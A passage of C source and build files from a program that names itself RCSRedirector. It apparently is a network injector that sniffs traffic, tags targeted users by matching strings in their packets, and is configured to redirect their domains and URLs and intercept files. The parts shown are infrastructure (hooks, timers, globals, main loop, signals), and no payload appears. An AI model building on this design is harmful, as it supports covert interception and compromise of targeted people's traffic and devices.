+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 11 | * | Code | Identifier | Length | 12 | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 13 | * | . . . . . . . . . . 16-Bytes Authenticator. . . . . . . . . . | 14 | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 15 | * | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | 16 | * | . . . . . . . . . . . . . Attributes . . . . . . . . . . . . | 17 | * | . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . | 18 | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 19 | */ 20 | 21 | struct radius_header { 22 | u_int8 code; /* type of the packet */ 23 | #define RADIUS_ACCESS_REQUEST 0x1 24 | #define RADIUS_ACCESS_ACCEPT 0x2 25 | #define RADIUS_ACCESS_REJECT 0x3 26 | #define RADIUS_ACCOUNT_REQUEST 0x4 27 | #define RADIUS_ACCOUNT_RESPONSE 0x5 28 | u_int8 id; /* identifier */ 29 | u_int16 length; /* packet length */ 30 | u_int8 auth[16]; /* authenticator */ 31 | }; 32 | 33 | #define RADIUS_HEADER_LEN 0x14 /* 12 bytes */ 34 | 35 | #define RADIUS_ATTR_USER_NAME 0x01 36 | #define RADIUS_ATTR_NAS_IP_ADDRESS 0x04 37 | #define RADIUS_ATTR_NAS_PORT 0x05 38 | #define RADIUS_ATTR_FRAMED_IP_ADDRESS 0x08 39 | #define RADIUS_ATTR_CALLBACK_NUMBER 0x13 40 | #define RADIUS_ATTR_CALLBACK_ID 0x14 41 | #define RADIUS_ATTR_CALLED_STATION_ID 0x1E 42 | #define RADIUS_ATTR_CALLING_STATION_ID 0x1F 43 | #define RADIUS_ATTR_NAS_ID 0x20 44 | #define RADIUS_ATTR_ACCT_INPUT_OCTETS 0x2A 45 | #define RADIUS_ATTR_ACCT_OUTPUT_OCTETS 0x2B 46 | #define RADIUS_ATTR_ACCT_SESSION_ID 0x2C 47 | #define RADIUS_ATTR_ACCT_STATUS_TYPE 0x28 48 | #define RADIUS_ACCT_STATUS_START 0x01 49 | #define RADIUS_ACCT_STATUS_UPDATE 0x03 50 | #define RADIUS_ACCT_STATUS_STOP 0x02 51 | #define RADIUS_ATTR_ACCT_TERMINATE_CAUSE 0x31 52 | #define RADIUS_ATTR_NAS_PORT_ID 0x57 53 | 54 | 55 | #define RADIUS_END_USER_REQUEST 1 56 | #define RADIUS_END_LOST_CARRIER 2 57 | #define RADIUS_END_LOST_SERVICE 3 58 | #define RADIUS_END_IDLE_TIMEOUT 4 59 | #define RADIUS_END_SESSION_TIMEOUT 5 60 | #define RADIUS_END_ADMIN_RESET 6 61 | #define RADIUS_END_ADMIN_REBOOT 7 62 | #define RADIUS_END_PORT_ERROR 8 63 | #define RADIUS_END_NAS_ERROR 9 64 | #define RADIUS_END_NAS_REQUEST 10 65 | #define RADIUS_END_NAS_REBOOT 11 66 | #define RADIUS_END_PORT_UNNEEDED 12 67 | #define RADIUS_END_PORT_PREEMPTED 13 68 | #define RADIUS_END_PORT_SUSPENDED 14 69 | #define RADIUS_END_SERVICE_UNAVAILABLE 15 70 | #define RADIUS_END_CALLBACK 16 71 | #define RADIUS_END_USER_ERROR 17 72 | #define RADIUS_END_HOST_REQUEST 18 73 | 74 | 75 | /* exported functions */ 76 | 77 | u_char * radius_get_attribute(u_int8 attr, u_int16 *attr_len, u_char *begin, u_char *end); 78 | 79 | struct radius_attribute { 80 | char *name; 81 | char *value; /* already decoded */ 82 | }; 83 | 84 | struct radius_attribute * radius_get_next_attribute(u_char **begin, const u_char *end); 85 | 86 | 87 | #endif 88 | 89 | /* EOF */ 90 | 91 | // vim:ts=3:expandtab 92 | 93 | 94 | -------------------------------------------------------------------------------- /acinclude.m4: -------------------------------------------------------------------------------- 1 | 2 | dnl $Id: acinclude.m4 31 2006-07-03 15:57:13Z alor $ 3 | 4 | dnl 5 | dnl MY_MESSAGE(MESSAGE) 6 | dnl 7 | 8 | AC_DEFUN([MY_MESSAGE], 9 | [ 10 | AC_MSG_RESULT() 11 | AC_MSG_RESULT(${SB}$1...${EB}) 12 | AC_MSG_RESULT() 13 | ]) 14 | 15 | dnl 16 | dnl MY_CHECK_OPTION(STRING, VAR) 17 | dnl 18 | 19 | AC_DEFUN([MY_CHECK_OPTION], 20 | [ 21 | echo "$1 ${SB}$2${EB}" 22 | ]) 23 | 24 | 25 | dnl 26 | dnl MY_CHECK_FUNC(lib, func, ldflags, libs, action-if-found, action-if-not-found) 27 | dnl 28 | 29 | AC_DEFUN([MY_CHECK_FUNC], 30 | [ 31 | OLDLDFLAGS="${LDFLAGS}" 32 | OLDLIBS="${LIBS}" 33 | LDFLAGS="$3" 34 | LIBS="$4" 35 | AC_CHECK_LIB($1, $2, $5, $6) 36 | LDFLAGS="${OLDLDFLAGS}" 37 | LIBS="${OLDLIBS}" 38 | 39 | ]) 40 | 41 | dnl 42 | dnl MY_PTHREAD_CHECK() 43 | dnl 44 | 45 | AC_DEFUN([MY_PTHREAD_CHECK], 46 | [ 47 | AC_SEARCH_LIBS(pthread_create, c_r pthread,,) 48 | 49 | if test "$OS" = "SOLARIS"; then 50 | AC_SEARCH_LIBS(_getfp, pthread,,) 51 | elif test "$OS" != "MACOSX" -a "$OS" != "WINDOWS"; then 52 | AC_MSG_CHECKING(whether $CC accepts -pthread) 53 | LDFLAGS_store="$LDFLAGS" 54 | LDFLAGS="$LDFLAGS -pthread" 55 | AC_TRY_LINK([ 56 | #include 57 | ], 58 | [ 59 | int main(int argc, char **argv) 60 | { 61 | pthread_create(NULL, NULL, NULL, NULL); 62 | return 0; 63 | } 64 | ], 65 | [AC_MSG_RESULT(yes)], 66 | [AC_MSG_RESULT(no) 67 | LDFLAGS="$LDFLAGS_store" 68 | AC_MSG_WARN(***************************); 69 | AC_MSG_WARN(* PTHREAD ARE REQUIRED !! *); 70 | AC_MSG_WARN(***************************); 71 | exit 72 | ]) 73 | unset LDFLAGS_store 74 | fi 75 | 76 | ]) 77 | 78 | 79 | dnl 80 | dnl MY_GCC_MACRO() 81 | dnl 82 | dnl check if the compiler support __VA_ARGS__ in macro declarations 83 | dnl 84 | 85 | AC_DEFUN([MY_GCC_MACRO], 86 | [ 87 | AC_MSG_CHECKING(if your compiler supports __VA_ARGS__ in macro declarations) 88 | 89 | AC_TRY_RUN([ 90 | 91 | #include 92 | 93 | #define EXECUTE(x, ...) do{ if (x != NULL) x( __VA_ARGS__ ); }while(0) 94 | 95 | void foo() { } 96 | 97 | int main(int argc, char **argv) 98 | { 99 | EXECUTE(foo); 100 | return 0; 101 | } 102 | ], 103 | [ AC_MSG_RESULT(yes) ], 104 | [ AC_MSG_RESULT(no) 105 | AC_ERROR(please use gcc >= 3.2.x) 106 | ], 107 | AC_MSG_RESULT(unkown when cross-compiling) 108 | ) 109 | ]) 110 | 111 | dnl 112 | dnl MY_RESOLVE_CHECK() 113 | dnl 114 | 115 | AC_DEFUN([MY_RESOLVE_CHECK], 116 | [ 117 | AC_SEARCH_LIBS(dn_expand, resolv c, 118 | [ 119 | AC_MSG_CHECKING(for additional -lresolv needed by dn_expand) 120 | AC_TRY_LINK([ 121 | #include 122 | #include 123 | #include 124 | #include 125 | ], 126 | [ 127 | int main(int argc, char **argv) 128 | { 129 | char *q; 130 | char p[NS_MAXDNAME]; 131 | 132 | dn_expand(q, q, q, p, sizeof(p)); 133 | } 134 | ], 135 | [AC_MSG_RESULT(not needed)], 136 | [AC_MSG_RESULT(needed) 137 | LIBS="$LIBS -lresolv"] 138 | ) 139 | AM_CONDITIONAL(HAVE_DN_EXPAND, true) ac_ec_dns=yes 140 | ], 141 | [AM_CONDITIONAL(HAVE_DN_EXPAND, false) ac_ec_dns=no]) 142 | 143 | ]) 144 | 145 | dnl vim:ts=3:expandtab 146 | -------------------------------------------------------------------------------- /src/match_users_string.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Module to match an user based on string matching 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: match_users_string.c 2653 2010-07-06 07:31:19Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | 16 | /* global vars */ 17 | 18 | struct string_node { 19 | int type; 20 | char tag[MAX_TAG_LEN]; 21 | char *string; 22 | LIST_ENTRY (string_node) next; 23 | }; 24 | 25 | static LIST_HEAD(, string_node) string_root; 26 | static pthread_mutex_t string_mutex = PTHREAD_MUTEX_INITIALIZER; 27 | 28 | /* proto */ 29 | 30 | void match_user_string_add(char *value, char *tag, int type); 31 | void match_user_string(struct packet_object *po); 32 | struct string_node * user_string_search(const char *data, size_t len); 33 | 34 | /*******************************************/ 35 | 36 | void match_user_string_add(char *value, char *tag, int type) 37 | { 38 | struct string_node *e; 39 | 40 | /* 41 | * remove the hook. we must do this because we are called on every reload list. 42 | * otherwise the hook will be setup multiple time 43 | */ 44 | hook_del(HOOK_PACKET_TCP, match_user_string); 45 | 46 | /* add the hook on TCP packet, this will pass us all the HTTP packets to look into */ 47 | hook_add(HOOK_PACKET_TCP, match_user_string); 48 | 49 | /* create the element for the list */ 50 | SAFE_CALLOC(e, 1, sizeof(struct string_node)); 51 | 52 | e->type = type; 53 | snprintf(e->tag, MAX_TAG_LEN-1, "%s", tag); 54 | e->string = strdup(value); 55 | 56 | pthread_mutex_lock(&string_mutex); 57 | LIST_INSERT_HEAD(&string_root, e, next); 58 | pthread_mutex_unlock(&string_mutex); 59 | } 60 | 61 | 62 | void match_user_string_clear(void) 63 | { 64 | struct string_node *e, *tmp; 65 | 66 | pthread_mutex_lock(&string_mutex); 67 | 68 | /* remove all the elements */ 69 | LIST_FOREACH_SAFE(e, &string_root, next, tmp) { 70 | SAFE_FREE(e->string); 71 | LIST_REMOVE(e, next); 72 | SAFE_FREE(e); 73 | } 74 | 75 | pthread_mutex_unlock(&string_mutex); 76 | } 77 | 78 | 79 | struct string_node * user_string_search(const char *data, size_t len) 80 | { 81 | struct string_node *e; 82 | 83 | pthread_mutex_lock(&string_mutex); 84 | 85 | LIST_FOREACH(e, &string_root, next) { 86 | /* 87 | * check if the string is present in the packet 88 | * XXX - we should implement string matching that cross 89 | * the packet boundary 90 | */ 91 | 92 | if (memmem(data, len, e->string, strlen(e->string))) { 93 | pthread_mutex_unlock(&string_mutex); 94 | return e; 95 | } 96 | } 97 | 98 | pthread_mutex_unlock(&string_mutex); 99 | 100 | return NULL; 101 | } 102 | 103 | 104 | void match_user_string(struct packet_object *po) 105 | { 106 | struct string_node *e; 107 | struct timeval tv; 108 | 109 | /* search into this packets all the possible string patterns */ 110 | e = user_string_search((const char *)po->DATA.data, po->DATA.len); 111 | 112 | /* if found, tag it */ 113 | if (e) { 114 | 115 | DEBUG_MSG(D_INFO, "STRING MATCHED: %s [%s]", e->string, e->tag); 116 | 117 | gettimeofday(&tv, NULL); 118 | 119 | /* tag the packet */ 120 | snprintf(po->tag, MAX_TAG_LEN-1, "%s", e->tag); 121 | 122 | if (e->type == STRING_CLIENT) { 123 | active_user_add(&po->L3.src, NULL, e->tag, tv); 124 | } else if (e->type == STRING_SERVER) { 125 | active_user_add(&po->L3.dst, NULL, e->tag, tv); 126 | } 127 | } 128 | 129 | } 130 | 131 | /* EOF */ 132 | 133 | // vim:ts=3:expandtab 134 | 135 | -------------------------------------------------------------------------------- /include/globals.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: globals.h 3422 2011-02-09 12:55:25Z alor $ */ 3 | 4 | #ifndef __GLOBALS_H 5 | #define __GLOBALS_H 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | /* options form the config */ 13 | struct gbl_conf { 14 | char *file; 15 | int log_level; 16 | char *sniffing_iface; 17 | int sniffing_iface_channel; 18 | char *response_iface; 19 | char *redirected_fqdn; 20 | char *redirected_url; 21 | char *redirected_users; 22 | char *intercepted_files; 23 | }; 24 | 25 | /* options from getopt */ 26 | struct gbl_options { 27 | char read; 28 | char analyze; 29 | char watchdog; 30 | char *Riface; 31 | char *Siface; 32 | int Siface_chan; 33 | char *pcapfile_in; 34 | }; 35 | 36 | /* program name and version */ 37 | struct program_env { 38 | char *name; 39 | char *version; 40 | char *rcs_version; 41 | size_t crash; 42 | char reload; 43 | }; 44 | 45 | /* rnc parameters */ 46 | struct netconf_env { 47 | char *rnc_sign_file; 48 | char *rnc_sign; 49 | int rnc_port; 50 | }; 51 | 52 | /* targets values */ 53 | struct targets_env { 54 | int user_timeout; 55 | }; 56 | 57 | /* statistics */ 58 | struct stats_env { 59 | size_t uptime; 60 | size_t keepalive; 61 | size_t rxtimestamp; 62 | u_long rx; 63 | size_t bytes; 64 | size_t throughput; 65 | u_long tot_users; 66 | u_long active_users; 67 | u_long redir_fqdn; 68 | u_long redir_url; 69 | u_long inf_files; 70 | }; 71 | 72 | /* pcap structure */ 73 | struct pcap_env { 74 | void *pcap; /* this is a pcap_t pointer */ 75 | char *filter; /* pcap filter */ 76 | u_int16 snaplen; 77 | int dlt; 78 | u_int32 dump_size; /* total dump size */ 79 | u_int32 dump_off; /* current offset */ 80 | struct pcap_stat stats; /* pcap statistics */ 81 | }; 82 | 83 | /* lnet structure */ 84 | struct lnet_env { 85 | void *lnet_L3; /* this is a libnet_t pointer */ 86 | void *lnet; /* this is a libnet_t pointer */ 87 | }; 88 | 89 | /* network structure */ 90 | struct net_env { 91 | struct ip_addr proxy_ip; 92 | char network_error; /* used when we don't have a PROXY_IP */ 93 | char wireless; /* if the send interface is wireless */ 94 | u_char wifi_schema; 95 | #define WIFI_WEP 0x01 96 | #define WIFI_WPA 0x02 97 | char *wifi_key; /* user specified wifi_key */ 98 | u_char wkey[MAX_WKEY_LEN]; /* encoded wifi key, large enough for all encryption schemas */ 99 | size_t wkey_len; 100 | }; 101 | 102 | /* the globals container */ 103 | struct globals { 104 | struct gbl_conf *conf; 105 | struct netconf_env *netconf; 106 | struct gbl_options *options; 107 | struct ui_ops *ui; 108 | struct program_env *env; 109 | struct pcap_env *pcap; 110 | struct lnet_env *lnet; 111 | struct stats_env *stats; 112 | struct net_env *net; 113 | struct targets_env *targ; 114 | }; 115 | 116 | struct globals *gbls; 117 | 118 | #define GBLS gbls 119 | 120 | #define GBL_CONF (GBLS->conf) 121 | #define GBL_NETCONF (GBLS->netconf) 122 | #define GBL_OPTIONS (GBLS->options) 123 | #define GBL_UI (GBLS->ui) 124 | #define GBL_ENV (GBLS->env) 125 | #define GBL_PCAP (GBLS->pcap) 126 | #define GBL_LNET (GBLS->lnet) 127 | #define GBL_STATS (GBLS->stats) 128 | #define GBL_NET (GBLS->net) 129 | #define GBL_TARGETS (GBLS->targ) 130 | 131 | #define GBL_PROGRAM (GBL_ENV->name) 132 | #define GBL_VERSION (GBL_ENV->version) 133 | #define GBL_RCS_VERSION (GBL_ENV->rcs_version) 134 | 135 | /* exported functions */ 136 | 137 | void globals_alloc(void); 138 | void globals_free(void); 139 | 140 | #endif 141 | 142 | /* EOF */ 143 | 144 | // vim:ts=3:expandtab 145 | 146 | -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- everything starts from this file... 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: main.c 2761 2010-08-02 09:09:48Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | /* protos */ 25 | 26 | void clean_exit(int errcode); 27 | void drop_privs(void); 28 | 29 | /*******************************************/ 30 | 31 | int main(int argc, char *argv[]) { 32 | /* 33 | * Alloc the global structures 34 | * We can access these structs via the macro in globals.h 35 | */ 36 | 37 | globals_alloc(); 38 | 39 | /* start with the maximum log level */ 40 | GBL_CONF->log_level = 3; 41 | 42 | /* set up the global variables */ 43 | GBL_PROGRAM = strdup(basename(argv[0])); 44 | GBL_VERSION = strdup(VERSION); 45 | GBL_RCS_VERSION = strdup(RCS_VER); 46 | 47 | /* init the debug */ 48 | DEBUG_INIT(GBL_ENV->crash); 49 | DEBUG_MSG(D_INFO, "main -- here we go !!"); 50 | 51 | /* register the main thread as "init" */ 52 | my_thread_register(MY_PTHREAD_SELF, "init", "initialization phase"); 53 | 54 | /* activate the signal handler */ 55 | signal_handler(); 56 | 57 | /* getopt related parsing... */ 58 | parse_options(argc, argv); 59 | 60 | /* 61 | * setup the watchdog. 62 | * the process forks here and the parent does nothing but 63 | * checking if the son is alive. when it receives a SIGCHLD, 64 | * it forks again and the process restarts. the real 65 | * job is always performed by the son. 66 | */ 67 | watchdog_init(); 68 | 69 | /* 70 | * start the normal activity... 71 | * this is the entry point after the detection of a crash 72 | * make sure to reinitialize the thread and the signal handler. 73 | */ 74 | 75 | /* register the main thread as "init" */ 76 | my_thread_register(MY_PTHREAD_SELF, "init", "initialization phase"); 77 | 78 | /* activate the signal handler */ 79 | signal_handler(); 80 | 81 | /* init random numbers */ 82 | srandom(time(NULL)); 83 | 84 | /* save the starting time */ 85 | GBL_STATS->uptime = time(NULL); 86 | 87 | /* load the configuration file */ 88 | load_conf(); 89 | 90 | /* get the list of available interfaces */ 91 | capture_getifs(); 92 | 93 | DEBUG_MSG(D_INFO, "RCSRedirect : activated!"); 94 | my_thread_register(MY_PTHREAD_SELF, "redirector", "initialization phase"); 95 | 96 | /* initialize libnet */ 97 | send_init(); 98 | 99 | /* initialize libpcap */ 100 | capture_init(); 101 | 102 | /* load the rules file */ 103 | load_rules(); 104 | 105 | /**** INITIALIZATION PHASE TERMINATED ****/ 106 | 107 | /* we need the protocol stack analyzer */ 108 | GBL_OPTIONS->analyze = 1; 109 | 110 | /* set up the filters */ 111 | match_fqdn_init(); 112 | match_url_init(); 113 | match_users_init(); 114 | 115 | /* start the proxy module */ 116 | proxy_start(); 117 | 118 | /* log the status */ 119 | log_add(RNC_LOG_INFO, "RCSRedirector starting..."); 120 | 121 | /* start the communication module */ 122 | netconf_start(); 123 | 124 | /* start the sniffing loop */ 125 | capture_start(); 126 | 127 | /* NOT REACHED IN LIVE CAPTURE */ 128 | 129 | clean_exit(0); 130 | 131 | return 0; 132 | } 133 | 134 | /* 135 | * cleanly exit from the program 136 | */ 137 | 138 | void clean_exit(int errcode) { 139 | DEBUG_MSG(D_INFO, "clean_exit: %d", errcode); 140 | 141 | /* kill all the running threads but the current */ 142 | my_thread_kill_all(); 143 | 144 | /* call all the ATEXIT functions */ 145 | exit(errcode); 146 | } 147 | 148 | /* EOF */ 149 | 150 | // vim:ts=3:expandtab 151 | 152 | -------------------------------------------------------------------------------- /src/timer.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Timer hooking module 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: timer.c 2995 2010-10-07 14:42:52Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | static LIST_HEAD (, timer_entry) timer_list; 14 | 15 | struct timer_entry { 16 | struct timer_hook th; 17 | time_t last; 18 | LIST_ENTRY (timer_entry) next; 19 | }; 20 | 21 | /* proto */ 22 | 23 | int add_timer(struct timer_hook *th); 24 | int del_timer(struct timer_hook *th); 25 | static void timer_start(void); 26 | MY_THREAD_FUNC(timer_thread); 27 | 28 | /*******************************************/ 29 | 30 | int add_timer(struct timer_hook *th) 31 | { 32 | struct timer_entry *e; 33 | struct timeval tv; 34 | 35 | DEBUG_MSG(D_INFO, "add_timer: [%d][%p]", (u_int32)th->sec, th->func); 36 | 37 | /* check if the timer thread must be created */ 38 | if (LIST_EMPTY(&timer_list)) 39 | timer_start(); 40 | 41 | SAFE_CALLOC(e, 1, sizeof(struct timer_entry)); 42 | 43 | memcpy(&e->th, th, sizeof(struct timer_hook)); 44 | gettimeofday(&tv, 0); 45 | e->last = tv.tv_sec; 46 | 47 | LIST_INSERT_HEAD(&timer_list, e, next); 48 | 49 | return ESUCCESS; 50 | } 51 | 52 | int del_timer(struct timer_hook *th) 53 | { 54 | struct timer_entry *e; 55 | 56 | DEBUG_MSG(D_INFO, "del_timer: [%d][%p]", (u_int32)th->sec, th->func); 57 | 58 | LIST_FOREACH(e, &timer_list, next) { 59 | if (th->sec == e->th.sec && th->func == e->th.func) { 60 | LIST_REMOVE(e, next); 61 | SAFE_FREE(e); 62 | return ESUCCESS; 63 | } 64 | } 65 | 66 | return -ENOTFOUND; 67 | } 68 | 69 | static void timer_start(void) 70 | { 71 | pthread_t pid; 72 | 73 | DEBUG_MSG(D_DEBUG, "timer_start"); 74 | 75 | pid = my_thread_getpid("timer"); 76 | 77 | if (pthread_equal(pid, MY_PTHREAD_NULL)) 78 | my_thread_new("timer", "timer hook module", &timer_thread, NULL); 79 | else 80 | DEBUG_MSG(D_DEBUG, "timer_start: already started"); 81 | } 82 | 83 | 84 | MY_THREAD_FUNC(timer_thread) 85 | { 86 | struct timer_entry *e; 87 | struct timeval tv; 88 | 89 | /* initialize the thread */ 90 | my_thread_init(); 91 | 92 | DEBUG_MSG(D_DEBUG, "timer_thread: activated"); 93 | 94 | LOOP { 95 | 96 | gettimeofday(&tv, 0); 97 | 98 | LIST_FOREACH(e, &timer_list, next) { 99 | /* the timer is expired (now - last) */ 100 | if (tv.tv_sec - e->last >= e->th.sec) { 101 | //DEBUG_MSG(D_VERBOSE, "timer_thread: executing %p", e->th.func); 102 | EXECUTE(e->th.func); 103 | e->last = tv.tv_sec; 104 | //DEBUG_MSG(D_VERBOSE, "timer_thread: execution of %p terminated", e->th.func); 105 | } 106 | } 107 | 108 | /* sleep the minimum quantum */ 109 | sleep(1); 110 | 111 | /* update the keepalive */ 112 | GBL_STATS->keepalive = time(NULL); 113 | /* update the trhoughput */ 114 | GBL_STATS->throughput = (float)GBL_STATS->bytes * 8 / 1000000; 115 | GBL_STATS->bytes = 0; 116 | } 117 | 118 | return NULL; 119 | } 120 | 121 | 122 | struct timeval timeval_subtract (struct timeval *x, struct timeval *y) 123 | { 124 | struct timeval result; 125 | 126 | /* Perform the carry for the later subtraction by updating y. */ 127 | if (x->tv_usec < y->tv_usec) { 128 | int nsec = (y->tv_usec - x->tv_usec) / 1000000 + 1; 129 | y->tv_usec -= 1000000 * nsec; 130 | y->tv_sec += nsec; 131 | } 132 | if (x->tv_usec - y->tv_usec > 1000000) { 133 | int nsec = (x->tv_usec - y->tv_usec) / 1000000; 134 | y->tv_usec += 1000000 * nsec; 135 | y->tv_sec -= nsec; 136 | } 137 | 138 | /* Compute the time remaining to wait. tv_usec is certainly positive. */ 139 | result.tv_sec = x->tv_sec - y->tv_sec; 140 | result.tv_usec = x->tv_usec - y->tv_usec; 141 | 142 | return result; 143 | } 144 | 145 | /* EOF */ 146 | 147 | // vim:ts=3:expandtab 148 | 149 | -------------------------------------------------------------------------------- /src/hook.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- hook points handling 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: hook.c 790 2009-08-03 14:34:04Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | 15 | struct hook_list { 16 | int point; 17 | void (*func)(struct packet_object *po); 18 | LIST_ENTRY (hook_list) next; 19 | }; 20 | 21 | /* global data */ 22 | 23 | /* the list for the HOOK_* */ 24 | static LIST_HEAD(, hook_list) hook_list_head; 25 | /* the list for the PACKET_* */ 26 | static LIST_HEAD(, hook_list) hook_pck_list_head; 27 | 28 | pthread_mutex_t hook_mutex = PTHREAD_MUTEX_INITIALIZER; 29 | #define HOOK_LOCK do{ pthread_mutex_lock(&hook_mutex); } while(0) 30 | #define HOOK_UNLOCK do{ pthread_mutex_unlock(&hook_mutex); } while(0) 31 | 32 | pthread_mutex_t hook_pck_mutex = PTHREAD_MUTEX_INITIALIZER; 33 | #define HOOK_PCK_LOCK do{ pthread_mutex_lock(&hook_pck_mutex); } while(0) 34 | #define HOOK_PCK_UNLOCK do{ pthread_mutex_unlock(&hook_pck_mutex); } while(0) 35 | 36 | /* protos... */ 37 | 38 | void hook_point(int point, struct packet_object *po); 39 | void hook_add(int point, void (*func)(struct packet_object *po) ); 40 | int hook_del(int point, void (*func)(struct packet_object *po) ); 41 | 42 | /*******************************************/ 43 | 44 | /* execute the functions registered in that hook point */ 45 | 46 | void hook_point(int point, struct packet_object *po) 47 | { 48 | struct hook_list *current; 49 | 50 | /* the hook is for a HOOK_PACKET_* type */ 51 | if (point > HOOK_PACKET_BASE) { 52 | 53 | HOOK_PCK_LOCK; 54 | 55 | LIST_FOREACH(current, &hook_pck_list_head, next) 56 | if (current->point == point) 57 | current->func(po); 58 | 59 | HOOK_PCK_UNLOCK; 60 | 61 | } else { 62 | 63 | HOOK_LOCK; 64 | 65 | LIST_FOREACH(current, &hook_list_head, next) 66 | if (current->point == point) 67 | current->func(po); 68 | 69 | HOOK_UNLOCK; 70 | } 71 | 72 | return; 73 | } 74 | 75 | 76 | /* add a function to an hook point */ 77 | 78 | void hook_add(int point, void (*func)(struct packet_object *po) ) 79 | { 80 | struct hook_list *newelem; 81 | 82 | SAFE_CALLOC(newelem, 1, sizeof(struct hook_list)); 83 | 84 | newelem->point = point; 85 | newelem->func = func; 86 | 87 | /* the hook is for a HOOK_PACKET_* type */ 88 | if (point > HOOK_PACKET_BASE) { 89 | HOOK_PCK_LOCK; 90 | LIST_INSERT_HEAD(&hook_pck_list_head, newelem, next); 91 | HOOK_PCK_UNLOCK; 92 | } else { 93 | HOOK_LOCK; 94 | LIST_INSERT_HEAD(&hook_list_head, newelem, next); 95 | HOOK_UNLOCK; 96 | } 97 | 98 | } 99 | 100 | /* remove a function from an hook point */ 101 | 102 | int hook_del(int point, void (*func)(struct packet_object *po) ) 103 | { 104 | struct hook_list *current; 105 | 106 | 107 | /* the hook is for a HOOK_PACKET_* type */ 108 | if (point > HOOK_PACKET_BASE) { 109 | HOOK_PCK_LOCK; 110 | 111 | LIST_FOREACH(current, &hook_pck_list_head, next) { 112 | if (current->point == point && current->func == func) { 113 | LIST_REMOVE(current, next); 114 | SAFE_FREE(current); 115 | HOOK_PCK_UNLOCK; 116 | DEBUG_MSG(D_DEBUG, "hook_del -- %d [%p]", point, func); 117 | return ESUCCESS; 118 | } 119 | } 120 | 121 | HOOK_PCK_UNLOCK; 122 | } else { 123 | HOOK_LOCK; 124 | 125 | LIST_FOREACH(current, &hook_list_head, next) { 126 | if (current->point == point && current->func == func) { 127 | LIST_REMOVE(current, next); 128 | SAFE_FREE(current); 129 | HOOK_UNLOCK; 130 | DEBUG_MSG(D_DEBUG, "hook_del -- %d [%p]", point, func); 131 | return ESUCCESS; 132 | } 133 | } 134 | 135 | HOOK_UNLOCK; 136 | } 137 | 138 | return -ENOTFOUND; 139 | } 140 | 141 | 142 | /* EOF */ 143 | 144 | // vim:ts=3:expandtab 145 | 146 | -------------------------------------------------------------------------------- /src/signals.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- signal handler 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: signals.c 1096 2009-11-06 14:04:26Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | 17 | #include 18 | 19 | typedef void handler_t(int); 20 | 21 | /* protos */ 22 | 23 | void signal_handler(void); 24 | 25 | static handler_t *signal_handle(int signo, handler_t *handler, int flags); 26 | static RETSIGTYPE signal_SEGV(int sig); 27 | static RETSIGTYPE signal_TERM(int sig); 28 | static RETSIGTYPE signal_HUP(int sig); 29 | static RETSIGTYPE signal_PIPE(int sig); 30 | 31 | /*************************************/ 32 | 33 | void signal_handler(void) 34 | { 35 | DEBUG_MSG(D_DEBUG, "signal_handler activated"); 36 | 37 | #ifdef SIGSEGV 38 | signal_handle(SIGSEGV, signal_SEGV, 0); 39 | #endif 40 | #ifdef SIGBUS 41 | signal_handle(SIGBUS, signal_SEGV, 0); 42 | #endif 43 | #ifdef SIGINT 44 | signal_handle(SIGINT, signal_TERM, 0); 45 | #endif 46 | #ifdef SIGTERM 47 | signal_handle(SIGTERM, signal_TERM, 0); 48 | #endif 49 | #ifdef SIGCHLD 50 | signal(SIGCHLD, SIG_DFL); 51 | #endif 52 | #ifdef SIGHUP 53 | signal_handle(SIGHUP, signal_HUP, 0); 54 | #endif 55 | #ifdef SIGALRM 56 | /* needed by solaris */ 57 | signal_handle(SIGALRM, SIG_IGN, 0); 58 | #endif 59 | #ifdef SIGPIPE 60 | signal_handle(SIGPIPE, signal_PIPE, 0); 61 | #endif 62 | } 63 | 64 | 65 | static handler_t *signal_handle(int signo, handler_t *handler, int flags) 66 | { 67 | struct sigaction act, old_act; 68 | 69 | act.sa_handler = handler; 70 | 71 | /* don't permit nested signal handling */ 72 | sigfillset(&act.sa_mask); 73 | 74 | act.sa_flags = flags; 75 | 76 | if (sigaction(signo, &act, &old_act) < 0) 77 | ERROR_MSG("sigaction() failed"); 78 | 79 | return (old_act.sa_handler); 80 | } 81 | 82 | 83 | /* 84 | * received when something goes wrong ;) 85 | */ 86 | static RETSIGTYPE signal_SEGV(int sig) 87 | { 88 | 89 | struct rlimit corelimit = {RLIM_INFINITY, RLIM_INFINITY}; 90 | 91 | #ifdef SIGBUS 92 | if (sig == SIGBUS) 93 | DEBUG_MSG(D_ERROR, " !!! BUS ERROR !!!"); 94 | else 95 | #endif 96 | DEBUG_MSG(D_ERROR, " !!! SEGMENTATION FAULT !!!"); 97 | 98 | 